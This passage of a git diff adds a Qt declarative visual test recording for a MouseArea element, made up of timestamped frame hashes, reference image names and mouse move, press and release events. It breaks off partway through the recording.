--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.qml
new file mode 100644
index 00000000..2daeebcc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.qml
@@ -0,0 +1,5867 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "mousearea-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 48
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 64
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 80
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 96
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 112
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 128
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 144
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 160
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 176
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 192
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 208
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 224
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 240
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 256
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 272
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 288
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 304
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 320
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 336
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 352
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 368
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 384
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 400
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 416
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 432
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 448
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 464
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 480
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 496
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 512
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 528
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 544
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 560
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 576
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 592
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 608
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 624
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 640
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 656
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 672
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 688
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 704
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 720
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 736
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 752
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 768
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 784
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 800
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 816
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 832
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 848
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 864
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 880
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 896
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 912
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 928
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 944
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 960
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 976
+ image: "mousearea-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1008
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1024
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1040
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1056
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1072
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1088
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1104
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1120
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1136
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1152
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1168
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1184
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1200
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1216
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1232
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1248
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1264
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1280
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1296
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1312
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1328
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1344
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1360
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1376
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1392
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1408
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1424
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1440
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1456
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1472
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1488
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1504
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1520
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1536
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1552
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1568
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1584
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1600
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1616
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1632
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1648
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Frame {
+ msec: 1664
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 2; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 7; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1680
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 19; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 33; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1696
+ hash: "1121bb51fc2d4c5c7ef3ae2c44794b49"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 49; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1712
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1728
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1744
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1760
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1776
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1792
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Frame {
+ msec: 1808
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Frame {
+ msec: 1824
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Frame {
+ msec: 1840
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Frame {
+ msec: 1856
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Frame {
+ msec: 1872
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "337f0f4af627bbdf8807135ce39d5070"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ image: "mousearea-visual.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1984
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2000
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2016
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 54; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2048
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2064
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2080
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2096
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2112
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2128
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 54; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2160
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2176
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2192
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2208
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2224
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2240
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 54; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2272
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2288
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2304
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2320
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2336
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2352
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2368
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2384
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2400
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2416
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2432
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2448
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2464
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2480
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2496
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2512
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2528
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2544
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2560
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2576
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2592
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2608
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2624
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2640
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 2
+ button: 2
+ buttons: 2
+ x: 54; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2672
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2688
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2704
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2720
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2736
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2752
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 54; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2784
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2800
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2816
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2832
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2848
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2864
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2880
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 2896
+ image: "mousearea-visual.3.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2928
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2960
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 113; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 119; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 124; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 128; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 131; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3040
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3056
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3072
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3088
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3104
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3120
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3136
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3152
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3168
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3184
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3200
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3216
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3232
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3248
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3264
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3280
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3296
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3312
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3328
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3344
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3360
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3376
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3392
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3408
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3424
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3440
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3456
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3472
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3488
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3504
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3520
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3536
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3552
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 133; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3568
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3584
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 133; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3616
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3632
